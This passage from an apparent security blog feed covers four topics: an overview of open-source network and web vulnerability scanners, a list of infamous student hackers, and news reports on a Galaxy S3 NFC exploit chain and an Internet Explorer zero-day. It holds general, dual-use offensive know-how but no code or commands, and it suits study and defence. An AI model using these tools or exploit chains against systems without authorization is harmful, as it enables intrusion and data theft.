loss of reputation or money. Apart from local area networks, websites
are also vulnerable and have become the prime target of crackers. In
short, vulnerabilities can be exploited from within the organisation, as
well as over the Internet by unknown people.</div>
<div style="text-align: justify;">
On the bright side,
with the number of attacks increasing, there are now a slew of tools to
detect and stop malware and cracking attempts. The open source world has
many such utilities (and distros). Here, I must mention <a href="http://www.linuxforu.com/2011/03/digital-forensic-analysis-using-backtrack-part-1/" title="Digital Forensic Analysis Using BackTrack, Part 1">BackTrack Linux</a>,
which has gained international fame for its wide range of vulnerability
assessment and digital forensics software utilities. The most recent
version also contains powerful wireless vulnerability testing tools.</div>
<div style="text-align: justify;">
Though
there are literally hundreds of tools, I have selected the top 10 based
on the fact that no other tool can really replace them. The primary
selection criteria have been the feature set, how widespread the product
is within the security community, and simplicity.</div>
<div style="text-align: justify;">
Please refer to
Figure 1, which shows the top five tools I chose for network
assessment, while Figure 2 shows the leading Web vulnerability scanning
products. Of course, only FOSS tools are mentioned. I have presented the
tools in the order that they are expected to be used to detect
vulnerabilities; this should provide a systematic approach to readers
who wish to make a career as certified penetration testers.</div>
<div class="wp-caption aligncenter" id="attachment_9779" style="text-align: justify; width: 400px;">
<img alt="Top 5 network security scanners" class="size-full wp-image-9779" height="294" src="http://cdn.linuxforu.com/wp-content/uploads/2012/02/Fig1.jpg" title="Top 5 network security scanners" width="400" /><div class="wp-caption-text">
Figure 1: Top 5 network security scanners</div>
</div>
<div class="wp-caption aligncenter" id="attachment_9780" style="text-align: justify; width: 400px;">
<img alt="Top 5 web security scanners" class="size-full wp-image-9780" height="284" src="http://cdn.linuxforu.com/wp-content/uploads/2012/02/Fig2.jpg" title="Top 5 web security scanners" width="400" /><div class="wp-caption-text">
Figure 2: Top 5 web security scanners</div>
</div>
<h2 style="text-align: justify;">
The top 5 network security assessment tools</h2>
<div style="text-align: justify;">
Vulnerability
scanning of a network needs to be done from both within the network as
well as without (from both “sides” of the firewall). The approach I
would suggest is to start from the network evaluation phase, where
sniffing and primary attacks are performed. The gathered data is used in
the attack phase to exploit the exposed vulnerabilities.</div>
<h3 style="text-align: justify;">
Wireshark</h3>
<div style="text-align: justify;">
The
very first step in vulnerability assessment is to have a clear picture
of what is happening on the network. Wireshark (previously named
Ethereal) works in promiscuous mode to capture all traffic of a TCP
broadcast domain.</div>
<div style="text-align: justify;">
Customised filters can be set to intercept
specific traffic; for example, to capture communication between two IP
addresses, or capture UDP-based DNS queries on the network. Traffic data
can be dumped into a capture file, which can be reviewed later.
Additional filters can also be set during the review.</div>
<div style="text-align: justify;">
Typically,
the tester is looking for stray IP addresses, spoofed packets,
unnecessary packet drops, and suspicious packet generation from a single
IP address. Wireshark gives a broad and clear picture of what is
happening on the network.</div>
<div style="text-align: justify;">
However, it does not have its own
intelligence, and should be used as a data provider. Due to its great
GUI, any person with even some basic knowledge can use it.</div>
<h3 style="text-align: justify;">
Nmap</h3>
<div style="text-align: justify;">
This
is probably the only tool to remain popular for almost a decade. This
scanner is capable of crafting packets and performing scans to a
granular TCP level, such as SYN scan, ACK scan, etc. It has built-in
signature-checking algorithms to guess the OS and version, based on
network responses such as a TCP handshake.</div>
<div style="text-align: justify;">
Nmap is effective
enough to detect remote devices, and in most cases correctly identifies
firewalls, routers, and their make and model. Network administrators can
use Nmap to check which ports are open, and also if those ports can be
exploited further in simulated attacks. The output is plain text and
verbose; hence, this tool can be scripted to automate routine tasks and
to grab evidence for an audit report.</div>
<div class="note" style="text-align: justify;">
You can read <a href="http://www.linuxforu.com/tag/advanced-nmap-series/" title="Advanced Nmap Series">the series of Nmap articles published earlier</a> for better understanding.</div>
<h3 style="text-align: justify;">
Metasploit</h3>
<div style="text-align: justify;">
Once
sniffing and scanning is done using the above tools, it’s time to go to
the OS and application level. Metasploit is a fantastic, powerful open
source framework that performs rigorous scans against a set of IP
addresses.</div>
<div style="text-align: justify;">
Unlike many other frameworks, it can also be used for
anti-forensics. Expert programmers can write a piece of code exploiting a
particular vulnerability, and test it with Metasploit to see if it gets
detected. This process can be reversed technically — when a virus
attacks using some unknown vulnerability, Metasploit can be used to test
the patch for it.</div>
<div style="text-align: justify;">
While this is a commercial tool, I have
mentioned it here because the community edition is free, yet makes no
compromises on the <a href="http://www.linuxforu.com/2011/02/metasploit-meterpreter-payload/" title="Metasploit — 101 with Meterpreter Payload">feature set</a>.</div>
<h3 style="text-align: justify;">
OpenVAS</h3>
<div style="text-align: justify;">
The <a href="http://www.linuxforu.com/2011/04/nessus-metasploit-track-hack/" title="Nessus with Metasploit — Track and Hack">Nessus</a>
scanner is a famous commercial utility, from which OpenVAS branched out
a few years back to remain open source. Though Metasploit and OpenVAS
are very similar, there is still a distinct difference.</div>
<div style="text-align: justify;">
OpenVAS is
split into two major components — a scanner and a manager. A scanner
may reside on the target to be scanned and feed vulnerability findings
to the manager. The manager collects inputs from multiple scanners and
applies its own intelligence to create a report.</div>
<div style="text-align: justify;">
In the security
world, OpenVAS is believed to be very stable and reliable for detecting
the latest security loopholes, and for providing reports and inputs to
fix them. A built-in Greenbone security assistant provides a GUI
dashboard to list all vulnerabilities and the impacted machines on the
network.</div>
<div style="text-align: justify;">
Creating detailed reports is one thing that makes OpenVAS a tool favoured by infrastructure security managers.</div>
<h3 style="text-align: justify;">
Aircrack</h3>
<div style="text-align: justify;">
The
list of network scanners would be incomplete without wireless security
scanners. Today’s infrastructure contains wireless devices in the data
centre as well as in corporate premises to facilitate mobile users.
While having WPA-2 security is believed to be adequate for 802.11 WLAN
standards, misconfiguration and the use of over-simple passwords leaves
such networks open to attacks.</div>
<div style="text-align: justify;">
<a href="http://www.linuxforu.com/2011/01/aircrack-ng-wi-fi-troubleshooting-auditing-and-cracking-made-easy/" title="Aircrack-ng: Wi-Fi Troubleshooting, Auditing and Cracking Made Easy">Aircrack</a>
is a suite of software utilities that acts as a sniffer, packet crafter
and packet decoder. A targeted wireless network is subjected to packet
traffic to capture vital details about the underlying encryption. A
decryptor is then used to brute-force the captured file, and find out
passwords. Aircrack is capable of working on most Linux distros, but the
one in BackTrack Linux is highly preferred.</div>
<h2 style="text-align: justify;">
The top five Web security assessment tools</h2>
<div style="text-align: justify;">
Scanning
websites is an entirely different ballgame from network scans. In the
case of websites, the scope of the scan ranges from Layer 2 to 7,
considering the intrusiveness of the latest vulnerabilities. The correct
approach for scanning websites starts from Web-level access, right up
to scanning all backend components such as databases. While most Web
security scanners are automated, there could be a need for manual
scripting, based on the situation.</div>
<h3 style="text-align: justify;">
Nikto</h3>
<div style="text-align: justify;">
Let’s start with
this tool because of its feature set. This open source tool is widely
used to scan websites, mainly because it supports HTTP and HTTPS, and
also provides findings in an interactive fashion. <a href="http://www.linuxforu.com/2010/05/website-vulnerabilities-and-nikto/" title="Website Vulnerabilities and Nikto">Nikto</a>
can crawl a website just the way a human would, and that too in the
least amount of time. It uses a technique called mutation, whereby it
creates combinations of various HTTP tests together to form an attack,
based on the Web server configuration and the hosted code.</div>
<div style="text-align: justify;">
Thus,
it finds critical loopholes such as file upload misconfiguration,
improper cookie handling, cross-scripting errors, etc. Nikto dumps all
findings in a verbose mode, which helps in knowing more about the Web
vulnerabilities, in detail. However, it can also result in too many
things getting notified, some of which may be false alarms. Hence, care
should be taken while interpreting Nikto logs.</div>
<h3 style="text-align: justify;">
Samurai framework</h3>
<div style="text-align: justify;">
Once a baseline check is performed by Nikto, the next step is to take the “deep-dive” approach. <a href="http://www.linuxforu.com/2011/06/web-app-penetration-testing-with-samurai/" title="Web Application Penetration Testing Using Samurai">Samurai</a> is a framework — a bunch of powerful utilities, each one targeted for a specific set of vulnerabilities.</div>
<div style="text-align: justify;">
It
comes as a Linux distribution, purely focusing on penetration-testing
tools such as WebScarab for HTTP mapping, W3AF plugins for
application-based attacks, and it also has tools to test browser-based
exploits. It is amazing to note that the most recent version can find
vulnerabilities that are usually not detected even by a few commercial
software products.</div>
<h3 style="text-align: justify;">
Safe3 scanner</h3>
<div style="text-align: justify;">
While the first two tools
are good for static websites, for portals needing user ID and password,
we need something that can deal with HTTP sessions and cookies. Safe3
scanner is a fantastic open source project, which has gained momentum
and fame because it can handle almost all types of authentication,
including NTLM.</div>
<div style="text-align: justify;">
It contains a Web crawler (a spider like that of
search engines) capable of ignoring duplicate page scans and yet detect
client-side JavaScript vulnerabilities. Safe3 scans also detect the
possibility of the latest AJAX-based attacks and even report vulnerable
script libraries. It comes with a user-friendly GUI and is capable of
creating nice management reports.</div>
<h3 style="text-align: justify;">
Websecurify</h3>
<div style="text-align: justify;">
Though very
similar to Samurai, Websecurify also brings application-level assessment
into play. In case of a large Web farm where code is maintained by a
team of developers, following standards can sometimes yield insecure
code like passwords mentioned in code, physical file paths in libraries,
etc. Websecurify can traverse code and find such loopholes swiftly.</div>
<div style="text-align: justify;">
A
nice feature is that it allows you to create screenshots of the problem
areas automatically, which helps in preparing audit reports. It is one
of the very few platform-independent tools and also supports mobile
coding, which is helping it get more popular in the cyber-security
assessment world.</div>
<h3 style="text-align: justify;">
SQLmap</h3>
<div style="text-align: justify;">
Unless I mention a tool to detect
SQL-injection attacks, this article would not be complete. Though this
is a very old “first-generation” type of attack, many public websites
still fail to fix it. SQLmap is capable of not just exploiting
SQL-injection faults, but can also take over the database server. Since
it focuses on a specific task, it works at great speed to fingerprint
databases, find out the underlying file system and OS, and eventually
fetch data from the server. It supports almost all well-known database
engines, and can also perform password-guessing attacks. This tool can
be combined with the other four tools mentioned above to scan a website
aggressively.</div>
<div style="text-align: justify;">
A vulnerability assessment tool should include
network scanning as well as website vulnerability exploitation. Open
source software is prone to attacks too; hence, network administrators
must know about the reputed scanners and use them in their daily tasks
to make their infrastructure secure and stable.</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-45623773232119036722012-09-21T03:54:00.000-07:002012-09-21T03:54:03.914-07:00The 10 most infamous student hackers of all time..!!<div id="aim15497615083392180361" style="resize: both ! important;">
<div dir="ltr" style="resize: both ! important; text-align: left;">
<div style="resize: both ! important; text-align: justify;">
Hacking has always been inherently a young person’s game. The first usage of the word “hacker” was to describe pranksters <a href="http://www.historyofinformation.com/expanded.php?id=1229" rel="follow" style="resize: both ! important;">meddling with the phones</a>
at MIT. Many hackers have cited boredom, a desire for change, or the
thrill of going somewhere one is not supposed to go as their motivation
for hacking, all of which could apply to scores of common activities on
college campuses. While today’s hacking scene is dominated by large
hacking groups like Anonymous and Masters of Deception, many of the
greatest hacks ever have been pulled off by college, high school, and
even middle school kids who rose to infamy armed only with a computer
and the willingness to cross the bounds of legality.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">1.) Sven Jaschan:</b></div>
<div style="resize: both ! important; text-align: justify;">
In the <a href="http://www.sophos.com/en-us/press-office/press-releases/2005/07/va_sasserfree.aspx" rel="follow" style="resize: both ! important;">words of one tech expert</a><span id="goog_343192282" style="resize: both ! important;"></span><span id="goog_343192283" style="resize: both ! important;"></span>,
“His name will always be associated with some of the biggest viruses in
the history of the Internet.” The viruses: the Sasser and NetSky worms
that infected millions of computers and have caused millions of dollars
of damage since their release in 2004. The man behind the viruses proved
to be not even a man at all, legally. Seventeen-year-old hacker Sven
Jaschan, a student at a computer science school in Germany, claimed to
have created the viruses to become a hero by developing a program that
would eradicate the rampaging Mydoom and Bagle bugs. Instead he found
himself the subject of a <a href="http://lastwatchdog.com/microsoft-pays-250000-bounty-capture-creator-netskysasser/" rel="follow" style="resize: both ! important;">$250,000 bounty</a> courtesy of Microsoft, for which some of his classmates turned him in.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">2.) Jonathan James:</b></div>
<div style="resize: both ! important; text-align: justify;">
In
2000, at the age of 16, James, or “C0mrade” as he was known in the
hacker community, infamously became the first juvenile federally
sentenced for hacking. The targets of his notorious hack jobs were a
wing of the U.S. Department of Defense called the Defense Threat
Reduction Agency, NASA, and the Marshall Space Flight Center in
Huntsville, Ala. (By hacking the latter James gained the ability to
control the A/C in the International Space Station.) All of these were
pulled off “for fun” while James was still a student at Palmetto Senior
High in Miami. Unfortunately, the fun ran out when James was tied into a
massive <a href="http://www.browardpalmbeach.com/2010-05-20/news/four-kids-from-south-florida-led-the-world-s-biggest-online-identity-heist/" rel="follow" style="resize: both ! important;">identity theft investigation</a>. Though insisting he was innocent, James took his own life, saying he had “no faith in the justice system.”</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">3.) Michael Calce:</b></div>
<div style="resize: both ! important; text-align: justify;">
Yahoo.
CNN. Ebay. Amazon. Dell.com. One by one in a matter of days, these huge
websites crashed at the hands of 15-year-old Canadian high school
student Michael Calce, aka “MafiaBoy.” Armed with a denial-of-service
program he called “Rivolta” that overloaded servers he targeted, the
young hacker wreaked $7.5 million in damages, <a href="http://www.wired.com/politics/law/news/2001/06/44673" rel="follow" style="resize: both ! important;">according to court filings</a>.
Calce was caught when he fell victim to a common ailment of teenage
boys: bragging. The cops were turned on to him when he began boasting in
chat rooms about being responsible for the attacks. On Sept. 12, 2001,
MafiaBoy was sentenced to a group facility for eight months on 56 counts
of cybercrime.</div>
</div>
</div>
<div style="float: left; padding-right: 10px; resize: both ! important;">
</div>
<br style="resize: both ! important;" />
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">4.) Kevin Mitnick:</b></div>
<div style="resize: both ! important; text-align: justify;">
Before
performing hacks that prompted the U.S. Department of Justice to
declare him “the most wanted computer criminal in United States
history,” Kevin Mitnick had already made a name for himself as a hacker
in his school days, first at Monroe High School in LA and later at USC.
On a dare, Mitnick connived an opening into the computer system of
Digital Equipment Corporation, which some fellow hackers then used to <a href="http://passwordresearch.com/stories/story47.html" rel="follow" style="resize: both ! important;">steal proprietary source code</a>
from the company before ratting on him. While still on probation for
that crime, Mitnick broke into the premises of Pacific Bell and had to
go on the run from police in the aftermath, during which time he hacked
dozens of systems, including those of IBM, Nokia, Motorola, and Fujitsu.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">5.) Tim Berners-Lee:</b></div>
<div style="resize: both ! important; text-align: justify;">
“Scandalous”
is a synonym for “infamous,” and for this legendary computer scientist,
knight of the British Empire, and inventor of the World Wide Web to
have been a hacker in his school days is certainly a juicy factoid.
During his time at Oxford in the mid-’70s, Sir Tim was banned from using
university computers after he and a friend were caught hacking their
way into restricted digital areas. Luckily by that time he already knew
how to make his own computer out of a soldering iron, an old TV, and
some spare parts. And also luckily for him, he will always be revered as
the father of the Internet.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">6.) Neal Patrick and the 414s:</b></div>
<div style="resize: both ! important; text-align: justify;">
In
the early ’80s, hacking was still a relatively foreign concept to most
Americans. Few recognized the enormous power hackers could hijack with a
few strokes on a keyboard, which explains why a young group of hackers
known as the 414s (after a Milwaukee area code) were virtual celebrities
after they hacked into the famous Los Alamos National Laboratory, the
Memorial Sloan-Kettering Cancer Center, and elsewhere. While today
hacking a lab where classified nuclear research is conducted could earn
you a one-way ticket to Guantanamo, the 17-year-old ringleader and high
school student Neal Patrick was on the <a href="http://www.ugo.com/the-goods/the-414s" rel="follow" style="resize: both ! important;">cover of Newsweek</a>. The group members got light sentences but prompted Congress to take a stronger role in cybercrime.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">7.) Robert T. Morris:</b></div>
<div style="resize: both ! important; text-align: justify;">
The
first ever Internet worm, the Morris Worm derived its name from Cornell
grad student Robert Tappan Morris. In 1988, Morris released the worm
through MIT’s system to cover his tracks, which would seem to contradict
his claims that he meant no harm with it. But that’s exactly what
resulted: the worm spread out of control, infecting more than 6,000
computers connected to the ARPANET, the academic forerunner to the World
Wide Web. The damages reached as high as an estimated $10 million, and
Morris earned the ignominious distinction of being the first person
prosecuted under the Computer Fraud and Abuse Act. Morris got community
service but was apparently not considered too infamous to be offered his
current job as a professor at MIT.</div>
<div class="separator" style="clear: both; resize: both ! important; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdrXlqVRMDkAzJtKtKgkc3TJYZ5xjy_SJMCBgYKgohg11y8sbC-23Bx3EHQ6jXWF6VXIRDEHS6NLS0grgDvB28Fwrx7jn5pB1-eBkNzZDUEu7UGBoUnkN-DMmkjftfyWFsHAYBVg478X8/s1600/The+10+Most+Infamous+Student+Hackers+of+All+Time.jpg" rel="follow" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; resize: both ! important;"><img alt="The+10+Most+Infamous+Student+Hackers+of+All+Time" border="0" height="274" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdrXlqVRMDkAzJtKtKgkc3TJYZ5xjy_SJMCBgYKgohg11y8sbC-23Bx3EHQ6jXWF6VXIRDEHS6NLS0grgDvB28Fwrx7jn5pB1-eBkNzZDUEu7UGBoUnkN-DMmkjftfyWFsHAYBVg478X8/s640/The+10+Most+Infamous+Student+Hackers+of+All+Time.jpg" style="resize: both ! important;" title="The+10+Most+Infamous+Student+Hackers+of+All+Time" width="640" /></a></div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">8.) George Hotz:</b></div>
<div style="resize: both ! important; text-align: justify;">
To
some, George Hotz (aka “geohot,” aka “million75,” aka “mil”) is a
public menace, a threat to electronic businesses everywhere. To many,
Hotz is a hero. The high-schooler shot to fame/infamy in 2007 at the
tender age of 17 by giving the world its first hacked, or “jailbroken”
iPhone. He traded it for a new sports car and three new iPhones, and the
video of the hacking received millions of hits. Apple has had to
grudgingly come to terms with jailbreaking, seeing as the <a href="http://www.wired.com/threatlevel/2010/07/feds-ok-iphone-jailbreaking/" rel="follow" style="resize: both ! important;">courts have declared it legal</a>,
but Sony Corp. is definitely not OK with such tampering. When Hotz
hacked his PlayStation 3 and published the how-to on the web, the
company launched a vicious lawsuit against him. In turn, the hacker
group Anonymous launched an attack on Sony, stealing millions of users’
personal info.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">9.) Donncha O’Cearbhaill:</b></div>
<div style="resize: both ! important; text-align: justify;">
According
to the FBI, this 19-year-old freshman at Trinity College Dublin is one
of the top five most wanted hackers in the world. Well, he was; now that
he’s been arrested he’s not really “wanted” anymore. The Feds contend
the young man is a VIP member of the Anonymous and LulzSec hacking
groups that have already been mentioned and whose targets have included
the FBI, the U.S. Senate, and Sony (in the Hotz backlash). It seems
“Palladium” (O’Cearbhaill) took the liberty of listening in on a
conference call between the FBI and several international police forces
who were discussing their investigations of the hacking groups. He could
be sentenced to up to 15 years in prison if convicted for that hack
alone.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">10.) Nicholas Allegra:</b></div>
<div style="resize: both ! important; text-align: justify;">
Just
as George Hotz moved on from the Apple hacking game, Brown University
student Nicholas Allegra is also hanging up his jersey. “Comex,” as he
is known to millions of rooted iPhone fans, created the simple-to-use
Apple iOS jailbreaking program <a href="http://www.jailbreakme.com/" rel="follow" style="resize: both ! important;">JailbreakMe</a>
in 2007 and has since released two newer versions of it. However, Comex
seems to have gone over to the dark side, accepting an internship with
the very company whose products he became famous exploiting. Still,
Allegra’s hacking skills are so advanced (one author puts him five years
ahead of the authors of the infamous Stuxnet worm that corrupted Iran’s
nuclear facilities) and so many people availed themselves of his
talents, he will forever live in hacking infamy.</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-5348942145087622762012-09-21T03:51:00.001-07:002012-09-21T03:51:13.377-07:00Android 4.0.4 multiple Zero-Day Vulnerabilities...!!!<div id="aim16360876512047716379" style="resize: both ! important; text-align: justify;">
<div dir="ltr" style="resize: both ! important;">
<div style="resize: both ! important;">
The
Samsung Galaxy S3 can be hacked via NFC, allowing attackers to download
all data from the Android smartphone, security researchers demonstrated
during the Mobile <a href="http://eusecwest.com/" rel="follow" style="resize: both ! important;">Pwn2Own</a> contest in Amsterdam.<br style="resize: both ! important;" />
</div>
</div>
</div>
<div style="float: left; padding-right: 10px; resize: both ! important; text-align: justify;">
</div>
<div id="aim26360876512047716379" style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
Using a pair of zero day vulnerabilities, a team of security researchers
from U.K.-based MWR Labs hacked into a Samsung Galaxy S3 phone running
Android 4.0.4 by beaming an exploit via NFC (Near Field Communications).<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
NFC is
a technology that allows data to be sent over very short distances. For
mobile devices, the protocol allows digital wallet applications to
transfer money to pay at the register. While the technology has been
slow to take off, despite the adoption by Google for its Wallet payment
application, a number of recent high-profile announcements have boosted
its adoption. </div>
<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
"<i style="resize: both ! important;">Through
NFC it was possible to upload a malicious file to the device, which
allowed us to gain code execution on the device and subsequently get
full control over the device using a second vulnerability for privilege
escalation</i>," MWR InfoSecurity said in a <a href="http://labs.mwrinfosecurity.com/blog/2012/09/19/mobile-pwn2own-at-eusecwest-2012/" rel="follow" style="resize: both ! important;">statement</a>. "<i style="resize: both ! important;">The same vulnerability could also be exploited through other attack vectors, such as malicious websites or e-mail attachments</i>."</div>
<div class="separator" style="clear: both; resize: both ! important;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKnlbQWoPDf8fRFPD6ERlqZcmM67f-8ZqoBN8ZrvYwhvo3QF_JkQ3qkzAr2-fDXmFR-dL3SAxYgTEM1VmwxH8-xREXtvAD4Nl6c4o4xZs1OC3ArxOMq2-pXgzPBOOg6_6lX_af5tT23WM/s1600/Galaxy+S3+hacked+via+NFC+at+Pwn2Own.png" rel="follow" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; resize: both ! important;"><img alt="Galaxy+S3+hacked+via+NFC+at+Pwn2Own" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKnlbQWoPDf8fRFPD6ERlqZcmM67f-8ZqoBN8ZrvYwhvo3QF_JkQ3qkzAr2-fDXmFR-dL3SAxYgTEM1VmwxH8-xREXtvAD4Nl6c4o4xZs1OC3ArxOMq2-pXgzPBOOg6_6lX_af5tT23WM/s640/Galaxy+S3+hacked+via+NFC+at+Pwn2Own.png" style="resize: both ! important;" title="Galaxy+S3+hacked+via+NFC+at+Pwn2Own" width="640" /></a></div>
<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
The
attacker, for instance, gets access to all SMS messages, pictures,
emails, contact information and much more. The payload is very advanced,
so attackers can "basically do anything on that phone," the researchers
said.</div>
<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
<b style="resize: both ! important;">How this Works:</b></div>
<div style="resize: both ! important;">
<b style="resize: both ! important;">1.)</b> The
first, a memory corruption flaw, was exploited via NFC (by holding two
Galaxy S 3s next to each other) to upload a malicious file, which in
turn allowed the team to gain code execution on the device.</div>
<div style="resize: both ! important;">
<b style="resize: both ! important;">2.) </b>The
malware then exploited a second vulnerability to gain full control over
the device using privilege escalation. This undermined Android’s app
sandbox model, allowing the attackers to install their customised
version of Mercury, the company’s Android assessment framework.</div>
<div style="resize: both ! important;">
<b style="resize: both ! important;">3.) </b>Mercury
was then used to exfiltrate user data on the device (such as contacts,
emails, text messages, and pictures) to a remote listener.</div>
<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
Researchers also said that,"<i style="resize: both ! important;">Crucially,
the ASLR implementation is incomplete in Android 4.0.4, and does not
cover Bionic (Android’s linker) and /system/bin/app_process, which is
responsible for starting applications on the device. Other protections
which would make exploitation harder were also found to be absent.</i>"</div>
<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
MWR
Labs, which won $30,000 for its hack, is planning a more technical blog
post detailing the process of finding and exploiting this bug.</div>
<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
Also, a
Dutch research Joost Pol , CEO of Certified Secure, a nine-person
research outfit based in The Hague hack into Apple's iPhone 4S from
scratch, exploited a WebKit vulnerability to launch a drive-by download
when the target device simply surfs to a booby-trapped web site.</div>
<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
They used
code auditing techniques to ferret out the WebKit bug and then spent
most of the three weeks chaining multiple clever techniques to get a
"clean, working exploit."</div>
<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
During
the Pwn2Own attack, Pol created a web site that included an amusing
animation of the Certified Secure logo taking a bite of the Apple logo.
The drive-by download attack did not crash the browser so the user was
oblivious to the data being uploaded to the attacker's remote server. "<b style="resize: both ! important;"><i style="resize: both ! important;">If
this is an attack in the wild, they could embed the exploit into an ad
on a big advertising network and cause some major damage.</i></b>"</div>
<div style="resize: both ! important;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important;">
The duo destroyed the exploit immediately after the Pwn2Own hack. "<b style="resize: both ! important;"><i style="resize: both ! important;">We shredded it from our machine. The story ends here, we're not going to use this again. It's time to look for a new challenge</i></b>,"
Pol said.He provided the vulnerability and proof-of-concept code that
demonstrates the risk to contest organizers at HP TippingPoint Zero Day
Initiative (ZDI).</div>
</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-40116121733947888592012-09-21T03:45:00.000-07:002012-09-21T03:45:54.416-07:00Exploit Released for Internet Explorer zero-day attacks : CVE-2012-4969..!!!<div style="text-align: justify;">
<img alt="Exploit+Released+for+Internet+Explorer+zero-day+attacks+CVE-2012-4969" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAWdrn3xm3wo6dG6JDKYjXetwbTqgkUlx47I-Wh568RD0BMqpXm90vRsLfG5o7Jmte-8C8DzYmQtWffv8wpcT8Wfi8rKBBYImM323R2x1ltD03jnFczhODNab8TxX6sZ9nvGnB94u_d1o/s1600/Exploit+Released+for+Internet+Explorer+zero-day+attacks+CVE-2012-4969.jpg" style="resize: both ! important;" title="Exploit+Released+for+Internet+Explorer+zero-day+attacks+CVE-2012-4969" />Microsoft
has confirmed reports that a zero-day vulnerability in its Internet
Explorer browser is being actively attacked in the wild. Four active
exploits of a zero-day vulnerability in the browser exists. Microsoft
will push out an out-of-cycle Windows patch to temporarily fix the
critical Internet Explorer flaw.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
Security
researcher Eric Romang identified the exploit code on a server used by
the "Nitro" hacking group, believed to have exploited the Java zero-day
vulnerability reported last month. Security firm Rapid7 advises that
Internet users try a different Web browser. The malware may be linked to
an ongoing attack on companies that has been dubbed “Nitro”, and was
first discovered in October by Symantec.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
The zero-day in <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4969" rel="follow" style="resize: both ! important;">IE 6-9 is a use-after-free memory corruption vulnerability</a>,
similar to a buffer overflow, that would enable an attacker to remotely
execute code on a compromised machine. The original exploit payload
dropped the PoisonIvy remote access Trojan (RAT) via a corrupted Flash
movie file. The latest payload discovered dropped the <a href="http://thehackernews.com/2012/09/plugx-rat-targeting-government.html" style="resize: both ! important;">PlugX RAT</a> via the same corrupted Flash movie.</div>
<div style="float: left; padding-right: 10px; resize: both ! important; text-align: justify;">
</div>
<div style="text-align: justify;">
<br style="resize: both ! important;" /></div>
<div style="resize: both ! important; text-align: justify;">
This type of
attack is typically begun with a phishing email, or by tricking users
into clicking links in social media. The security advisory notes that
mainstream websites that have ads placed on the site via third-party ad
servers could also be vulnerable if the ad servers are compromised. In
other words, any site could be used to take advantage of the IE
flaw.It’s a serious flaw.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
Even,
The German government has started telling its citizens to switch to
other browsers. Microsoft has reported that most users are not affected
by the bug, and the number of attacks has been limited. In the company's
update about the bug, they suggest either deactivating ActiveX controls
or using their <a href="http://www.microsoft.com/en-us/download/details.aspx?id=29851" rel="follow" style="resize: both ! important;">Enhanced Mitigation Experience Toolkit</a> until a patch is released.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
Metasploit also Release PoC for this ."<i style="resize: both ! important;">This
module exploits a vulnerability found in Microsoft Internet Explorer
(MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted
in an unexpected manner, but the same memory is reused again later in
the CMshtmlEd::Exec() function, leading to a use-after-free condition.
Please note that this vulnerability has been exploited in the wild since
